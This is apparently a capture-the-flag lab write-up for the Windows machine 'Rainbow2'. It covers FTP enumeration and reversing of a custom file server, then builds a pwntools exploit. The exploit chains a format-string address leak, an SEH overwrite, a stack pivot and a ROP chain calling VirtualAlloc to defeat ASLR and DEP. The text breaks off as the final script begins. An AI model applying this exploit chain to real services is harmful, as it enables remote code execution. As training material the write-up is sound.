Overview
- Type Machines
- OS Windows
- Severity Hard
- Creator xct
- Release date 2022 Jun 6
Enumeration
Start the instance via Discord and let’s go:

10.10.89.134
Nmap
$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.89.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 17:41 JST
Stats: 0:04:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 17:46 (0:00:09 remaining)
Nmap scan report for 10.10.126.76
Host is up (0.26s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-05-22 11:57AM 705536 filesrv.exe
| 06-05-22 02:43PM 275 README.txt
|_06-09-22 05:36AM <DIR> SysWOW64
2121/tcp open msdtc Microsoft Distributed Transaction Coordinator (error)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RAINBOW2
| NetBIOS_Domain_Name: RAINBOW2
| NetBIOS_Computer_Name: RAINBOW2
| DNS_Domain_Name: Rainbow2
| DNS_Computer_Name: Rainbow2
| Product_Version: 10.0.20348
|_ System_Time: 2024-12-31T08:46:11+00:00
|_ssl-date: 2024-12-31T08:46:14+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Rainbow2
| Not valid before: 2024-12-30T08:40:07
|_Not valid after: 2025-07-01T08:40:07
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
- Add
rainbow2in in /etc/hosts- Anonymous FTP login allowed
FTP (21/tcp)
$ ftp -i anonymous@rainbow2
Connected to rainbow2.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: test@test.vl
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5001|)
150 Opening ASCII mode data connection.
06-05-22 11:57AM 705536 filesrv.exe
06-05-22 02:43PM 275 README.txt
06-09-22 05:36AM <DIR> SysWOW64
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get filesrv.exe
local: filesrv.exe remote: filesrv.exe
229 Entering Extended Passive Mode (|||5002|)
150 Opening BINARY mode data connection.
100% |****************************************************************************************************| 689 KiB 241.34 KiB/s 00:00 ETA
226 Transfer complete.
705536 bytes received in 00:02 (241.33 KiB/s)
ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||5003|)
150 Opening BINARY mode data connection.
100% |****************************************************************************************************| 275 1.03 KiB/s 00:00 ETA
226 Transfer complete.
275 bytes received in 00:00 (1.03 KiB/s)
ftp> quit
221 Goodbye.
$ cat README.txt
# FileSrv v0.2
Our simple file sharing server! Currently under development - we still seem to have some minor problems with binary files.
Changelog:
- After our last custom server got hacked we made sure to enable all mitigations: ASLR, DEP, GS! Now it's 100% secure.
From now, we know we are dealing with a file server that probably has all protections enabled.
$ file filesrv.exe
filesrv.exe: PE32 executable (console) Intel 80386, for MS Windows, 5 sections
We can confirm that is a service running on 2121/tcp (catch previously with nmap):
$ nc rainbow2 2121
USER
ERROR
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
ERROR
^C
quick test with
USERand also a random pattern and both have theERRORoutput
We suspect that it will have all protections enabled, so we’ll need to leak memory from the binary.
Seems this machine is focus on binary exploitation of the running filesrv.exe (32 bit) on port 2121/tcp to obtain a shell on the host.
Binary exploiting (filesrv.exe)
We install binary security check:
$ cargo install binary-security-check
Updating crates.io index
Downloaded binary-security-check v1.3.2
Downloaded 1 crate (29.1 KB) in 0.68s
Installing binary-security-check v1.3.2
Updating crates.io index
Locking 81 packages to latest compatible versions
Adding goblin v0.8.2 (latest: v0.9.2)
Adding thiserror v1.0.69 (latest: v2.0.9)
Adding thiserror-impl v1.0.69 (latest: v2.0.9)
Adding windows-core v0.52.0 (latest: v0.58.0)
Adding windows-sys v0.52.0 (latest: v0.59.0)
...
Check the binary security flags:
$ /home/user/.cargo/bin/binary-security-check ./filesrv.exe
./filesrv.exe: !CHECKSUM +DATA-EXEC-PREVENT !RUNS-IN-APP-CONTAINER +CONSIDER-MANIFEST !VERIFY-DIGITAL-CERT !CONTROL-FLOW-GUARD !HANDLES-ADDR-GT-2GB ~ASLR-LT-2GB !SAFE-SEH
~ASLR-LT-2GBmeans the binary is probably protected by Address Space Layout Randomization == ASLR.+DATA-EXEC-PREVENTmeans that Data Execution Prevention is enabled == DEP.
When running the binary we are shown that a server has been started on some port
PS C:\Users\user\Desktop> .\filesrv.exe
Starting Rainbow2 Server...!
At first we do not know the port that has been opened but with TCPView we can see that the process filesrv.exe has the port open 2121 at the address 0.0.0.0

When we connect to the port it seems to expect an input but if we send data, for example 16 bytes, it simply returns the message ERROR without further ado.
❯ netcat 192.168.3.65 2121
AAAAAAAABBBBBBBB
ERROR
In order to debug the program easily we will open the application within WinDbg:

If we look at the module details we can see that it contains the protections DEP and ASLR, the first prevents us from executing a shellcode on the stack, the second indicates that the base address of the binary should change after each reboot.
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------
0x75de0000 | 0x76026000 | 0x00246000 | True | False | True | True | True | True | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
0x732d0000 | 0x73321000 | 0x00051000 | True | False | True | True | True | True | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
0x756b0000 | 0x757a0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
0x3f290000 | 0x3f340000 | 0x000b0000 | True | False | True | False | True | False | [filesrv.exe] (filesrv.exe)
0x775d0000 | 0x77778000 | 0x001a8000 | True | False | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x76610000 | 0x766cb000 | 0x000bb000 | True | False | True | True | True | True | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
0x77380000 | 0x773e5000 | 0x00065000 | True | False | True | True | True | True | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
The most complex part here is the reversing because the program was created in C++ and the subject of the objects makes it more difficult to read the code, after renaming some things we start with the function main, this starts by reserving a space in memory and calling setup where it passes the string 0.0.0.0 and the port as arguments 2121, then it calls the function server and finally handler.

The function we renamed setmem takes a buffer and a length, then calls memset to fill that buffer with 0's the total bytes of the argument:

The function server starts by calling the function WSAStartup to initialize winsock and then calls the function socket to create a socket and this returns a descriptor:

Then it is used htons to format the port 2121 and subsequently call bind y listen to listen for incoming connections on that port.

The function handler starts by making a conditional jump since a loop will start:

In this case, the select function is called to verify that the descriptors in the variable readfs are ready for operations, thus avoiding errors.I/O:

If the value returned by select is greater than 0 follows the red line that calls accept that receives a connection and returns a new descriptor in the return value:

If you follow the green line it calls memsetto reserve a space in memory and then to recvreceive a total of 0x10000 4096bytes in the assigned buffer.

In the final part, the function is called CreateThread to create a thread for each connection, each thread executes the function StartAddress passing it the descriptor:

For each input received, the function is called menu where the buffer variable is possibly prepared, finally the function send that sends the content to the socket is called.

The menu function receives the buffer and copies command the first bytes separated by a space to a variable, then copies path the argument to command to the variable.

It starts with a couple of comparisons, if the path variable is equal to .., C:\\ or \\ it takes us to a block that displays the error message Fishy path and returns:


We can check it by sending anything as a command TEST and the restricted paths as arguments, we can see that it returns the expected error:
❯ netcat 192.168.3.65 2121
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
TEST \
ERROR: Fishy path
Then it performs a small validation so that the program is executed in the path C:\shared, if this condition is met it copies to the response buffer the string Path: followed by the content that is used as path, by convention we can think that some function is used like snprintf that can lead to a format string:

We check it by sending path anything like a letter A, in the response we can see the message Path: A that reflects the path of our entry:
❯ netcat 192.168.3.65 2121
TEST A
ERROR: Can not open Path: A
We see a comparison of the command with LST and with GET, due to the path validations we can assume that LST it acts as a dir and GET as a type:

Restrictions do not compare the path /, so we can use it LST to list files from the root, although this is not the vulnerability we need to follow.
LST /
Path: /
C:\Documents and Settings
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Recovery
C:\System Volume Information
C:\Users
C:\Windows
We can also use a simple . to view the files in the current directory, apparently if we pass a file to the command GET it returns the content in base64:
LST .
Path: .
C:\shared\filesrv.exe
GET filesrv.exe
Path: filesrv.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAJsIVFjfaToL32k6C99pOgsMGzkK0mk6CwwbPwpqaToLDBs+CslpOguNHD4KzWk6C40cOQrLaToLjRw/CpJpOgsMGzsK2mk6C99pOwuhaToLHhw/CtxpOgseHMUL3mk6Cx4cOAreaToLUmljaN9pOgsAAAAAAAAAAFBFAABMAQUAGJqcYgAAAAAAAAAA4AACAQsBDh0A8AgAAOYBAAAAAAA5EAMAABAAAAAACQAAABBAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAAALAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/FMKADwAAAAAoAoA4AEAAAAAAAAAAAAAAAAAAAAAAAAAsAoAqE4AAIzZCQBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4NkJAEAAAAAAAAAAAAAAAAAACQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACj7ggAABAAAADwCAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA6F4BAAAACQAAYAEAAPQIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAACwzAAAAYAoAAB4AAABUCgAAAAAAAAAAAAAAAABAAADALnJzcmMAAADgAQAAAKAKAAACAAAAcgoAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAqE4AAACwCgAAUAAAAHQKAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsagC5SHw=
We know that the path is reflected in the response and probably causes a format string vulnerability, we will send several %p separated by a .:
❯ netcat 192.168.3.65 2121
TEST %p.%p
When we reach the breakpoint in the call to the function send that sends the buffer we see that instead of the , %p some quite interesting pointers are reflected:
0:000> bp filesrv + 0x11e13
0:000> g
Breakpoint 0 hit
eax=00000128 ebx=010fe894 ecx=010ff9b8 edx=013c25b0 esi=3f2a4120 edi=3f2a4120
eip=3f2a1e13 esp=017af704 ebp=017af834 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x11e13:
3f2a1e13 e8982a0000 call filesrv+0x148b0 (3f2a48b0)
0:000> db poi(esp + 4)
013c25b0 45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f ERROR: Can not o
013c25c0 70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30 pen Path: 1DE700
013c25d0 34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba 4F.3F2A4120.....
013c25e0 ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00 ................
013c25f0 10 e4 fb a2 f4 5e 00 00-c0 00 3b 01 c0 24 3c 01 .....^....;..$<.
013c2600 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
013c2610 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
013c2620 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
The second pointer points to a static address in the binary, we can subtract the base address of the binary from the debugger and get the offset which is 0x14120:
0:000> lm m filesrv
Browse full module list
start end module name
3f290000 3f340000 filesrv C (no symbols)
0:000> ? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120
We automate this process in a python script, we send what %p the leak shows us and by subtracting the calculated offset it shows the base address of the binary:
#!/usr/bin/python3
from pwn import remote, log
shell = remote("192.168.3.65", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
❯ python3 exploit.py
[+] Opening connection to 192.168.3.65 on port 2121: Done
[*] Binary base: 0x3f290000
[*] Switching to interactive mode
$
The input actually doesn’t seem to be very well sanitized either, so we send a high number of bytes cyclic looking for some kind of overflow.
#!/usr/bin/python3
from pwn import remote, cyclic
shell = remote("192.168.3.65", 2121)
payload = cyclic(4000)
shell.sendline(b"TEST " + payload)
shell.interactive()
When sending the exploit the program corrupts however it eip does not point to any part of the chain, although we do not overwrite a return address we do overwrite the structure SEH so we overwrite both values of the structure:
0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010b0000 ebx=00007878 ecx=010af0dc edx=00000000 esi=010af0f0 edi=010af538
eip=3f2de8ea esp=010af0b4 ebp=010af0c4 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:010b0000=??
0:000> !exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169
We pass the value cyclic that tells us that offset to overwrite the pointer to the next SEH is 1032 bytes, and to overwrite the SEH handler 1036 bytes:
❯ cyclic -l 0x6b616169
1032
❯ cyclic -l 0x6b61616a
1036
Our payload now sends up 1032 A's to before overwriting the SEH structure, 4 B's which will be the next SEH and 4 C's which will be the controller, in addition to that we fill with D's up to 4000 bytes to keep the exploit stable forcing the exception to occur by sending a very large amount of bytes:
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.3.65", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
offset = 1032
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
By sending the exploit the program corrupts but now we control the SEH structure with the following SEH with the value 0x42424242 and the handler with 0x43434343:
0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01510000 ebx=00004444 ecx=0150f1dc edx=00000000 esi=0150f1f0 edi=0150f638
eip=3f2de8ea esp=0150f1b4 ebp=0150f1c4 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:01510000=??
0:000> !exchain
0150fda4: 43434343
Invalid exception stack at 42424242
In normal operations we would use a pop; pop; ret; that would execute the nseh opcode however since DEP the stack is enabled it is not executable:
0:000> !vprot esp
BaseAddress: 00cef000
AllocationBase: 00bf0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
What we could do is execute a chain rop to bypass DEP, for this we first need to control the stack since now we only overwrite the controller, we start by searching the stack for the chain TEST that points to the beginning of the buffer:
0:000> !teb
TEB at 00cb4000
ExceptionList: 0159e7b4
StackBase: 015a0000
StackLimit: 0159d000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00cb4000
EnvironmentPointer: 00000000
ClientId: 00002f90 . 00000470
RpcHandle: 00000000
Tls Storage: 00fb2f00
PEB Address: 00ca1000
LastErrorValue: 187
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -a 0x0159d000 0x015a0000 TEST
0159f4f0 54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01 TEST..Y....?L.Y.
0:000> db 0x0159f4f0
0159f4f0 54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01 TEST..Y....?L.Y.
0159f500 04 00 00 00 0f 00 00 00-b8 6f fb 00 00 00 fa 00 .........o......
0159f510 7c f5 59 01 64 60 22 77-a0 0f 00 00 af 0f 00 00 |.Y.d`"w........
0159f520 28 69 ca 62 00 00 fa 00-00 00 00 00 62 00 00 40 (i.b........b..@
0159f530 4c f6 59 01 c8 0f 00 00-00 00 00 00 0f 00 00 00 L.Y.............
0159f540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
So, 0x50 bytes after the address of the string we find the start of the A's, if we subtract that address from the esp we can see that it is in 0xda0 bytes:
0:000> db 0x0159f4f0 + 0x50
0159f540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f570 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f580 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f590 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f5a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f5b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> ? 0x0159f540 - esp
Evaluate expression: 3488 = 00000da0
Looking for a pivot stack ropper we found 2 possible ones, the first one is very short, so we will use the second one which although it is a bit long will serve us:
❯ ropper --file filesrv.exe --search "add esp, 0x???; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp, 0x???; ret;
[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
We updated our exploit, now the controller points to the stack pivot so when the exception occurs it will jump to it making the esp point to the A's:
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.3.65", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
offset = 1032
junk = b"A" * offset
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
When running our exploit it corrupts again, although it nseh still points to B's the controller it now points to the gadget address add esp, 0xe10; ret;:
0:000> g
(12a4.13f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b20000 ebx=00004444 ecx=00b1f170 edx=00000000 esi=00b1f184 edi=00b1f5cc
eip=3f2de8ea esp=00b1f148 ebp=00b1f158 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:00b20000=4d
0:000> !exchain
00b1fd38: filesrv+11396 (3f2a1396)
Invalid exception stack at 42424242
0:000> u 0x3f2a1396 L2
filesrv+0x11396:
3f2a1396 81c4100e0000 add esp,0E10h
3f2a139c c3 ret
We set a breakpoint at it and as execution continues it eventually gets to execute it, we execute it add esp, 0xe10 and move on to the instruction ret:
0:000> bp 0x3f2a1396
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f2a1396 esp=00b1eb98 ebp=00b1ebb8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x11396:
3f2a1396 81c4100e0000 add esp,0E10h
0:000> p
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f2a139c esp=00b1f9a8 ebp=00b1ebb8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x1139c:
3f2a139c c3 ret
Although it returns to the A's we know that the pivot advanced more than it should have and we need to know how much, so we again look for the start of the buffer:
0:000> !teb
TEB at 003b7000
ExceptionList: 00b1ebac
StackBase: 00b20000
StackLimit: 00b1e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003b7000
EnvironmentPointer: 00000000
ClientId: 000012a4 . 000013f8
RpcHandle: 00000000
Tls Storage: 006513a0
PEB Address: 003a4000
LastErrorValue: 187
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -a 0x00b1e000 0x00b20000 TEST
00b1f8e0 54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00 TEST......)?<...
If we subtract the address of the esp with the address where the start A's we get the offset, we divide this by the size of a dword and we get a 30:
0:000> db 0x00b1f8e0
00b1f8e0 54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00 TEST......)?<...
00b1f8f0 03 00 00 00 0f 00 00 00-b0 4a 65 00 00 00 00 00 .........Je.....
00b1f900 08 3e 65 00 00 00 64 00-80 0c 00 00 8f 0c 00 00 .>e...d.........
00b1f910 58 02 64 00 0b 29 6b 77-00 00 00 00 00 00 64 00 X.d..)kw......d.
00b1f920 93 01 00 00 62 00 00 40-00 00 00 00 0f 00 00 00 ....b..@........
00b1f930 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00b1f940 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00b1f950 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> ? (esp - 0x00b1f930) / 4
Evaluate expression: 30 = 0000001e
So, our rop chain will send 30 the gadget address times ret; until it reaches the real ropchain, after executing it we will leave it C's as shellcode:
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.3.65", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
shellcode = b""
shellcode += b"C" * 100
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
When running the exploit we eventually get to the one ret that will run the real ropchain, as we did not send any the return points to the ones C's that simulate the shellcode:
0:000> bp filesrv + 0x1010
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f291010 esp=00cef514 ebp=00cee720 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x1010:
3f291010 c3 ret
0:000> dds esp L1
00cef514 43434343
The VirtualAlloc function will help us to change the privileges of the stack because it reserves a space in memory, the most relevant thing is that in the first argument we can indicate the address where we want to do it and with the last one the protection:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
In it lpAddress we can pass the address of esp where we will start, in it dwSize we will use 0x1 that will reserve a page, in flAllocationType we will pass MEM_COMMIT or 0x1000 and finally in flProtect we will use 0x40 that is equal to PAGE_EXECUTE_READ_WRITE, in this way we would be allowed to execute the shellcode:
VirtualAlloc($esp, 0x1, 0x1000, 0x40);
Something to keep in mind is that the arguments are passed on the stack, as we have DEP enabled there are few gadgets that execute a push single record without trying to execute something else, one method is to use the gadget pushad; ret; that executes one push of all the records in a specific order which is the following:
Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);
The last argument lpAddress indicates the beginning of where we will reserve memory so we have to adapt to the order of pushad, we will have to save the values of the other 3 arguments in reverse order from that push of Temp of esp:
$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress
We start with ecx, to load the value without null bytes we can use a gadget sub eax and calculate the difference, in this case adding the value of 0x40:
0:000> ? 0x8314c26b + 0x40
Evaluate expression: -2095791445 = 8314c2ab
With the gadget xchg edi, eax we load the resulting value into edi, then we have a mov ecx, edi that finally saves it in ecx but ends in a call esi, for this we will save in esi the gadget pop esi; ret; that will jump to the next gadget:
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
In edx we need to load 0x1000, we perform exactly the same process and finish and once calculated we move the value to eax the register edx:
0:000> ? 0x8314c26b + 0x1000
Evaluate expression: -2095787413 = 8314d26b
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
For ebx we need 0x1, this is a little simpler, we can load the value 0xffffffff of -1 and simply increment its value 2 times leaving it at 1:
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
Unfortunately the function VirtualAlloc is not loaded in the table IAT, what we can do to calculate it is to dereference any function like TlsAlloc and then add the offset to the function VirtualAlloc inside kernel32.dll:

To get to the function VirtualAlloc from TlsAlloc we will need either the value 0x3140 or add 0xffffcec0 to the previously dereferenced value:
0:000> ? kernel32!TlsAllocStub - kernel32!VirtualAllocStub
Evaluate expression: 12608 = 00003140
0:000> ? kernel32!VirtualAllocStub - kernel32!TlsAllocStub
Evaluate expression: -12608 = ffffcec0
We set edi the value 0xffffcec0, then load and dereference at eax the address of TlsAlloc and add the offset that we saved before in edi:
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
We have 3 registers left before Temp, edi which will be the first to be executed, we will simply execute a ret and we will pass the value of esi what will be executed VirtualAlloc, when the function finishes it will execute the one pop rbp that will clean the stack to execute the next instruction that will be the jump to the shellcode to be executed.
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
With all the records established we can execute the pushad; ret;, after exiting VirtualAlloc we will execute a simple jmp esp to execute the shellcode:
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
Our exploit now looks like this, if everything works correctly the ropchain will call the function VirtualAlloc and jump to the shellcode which for now are simply C's:
#!/usr/bin/python3
from pwn import remote, p32
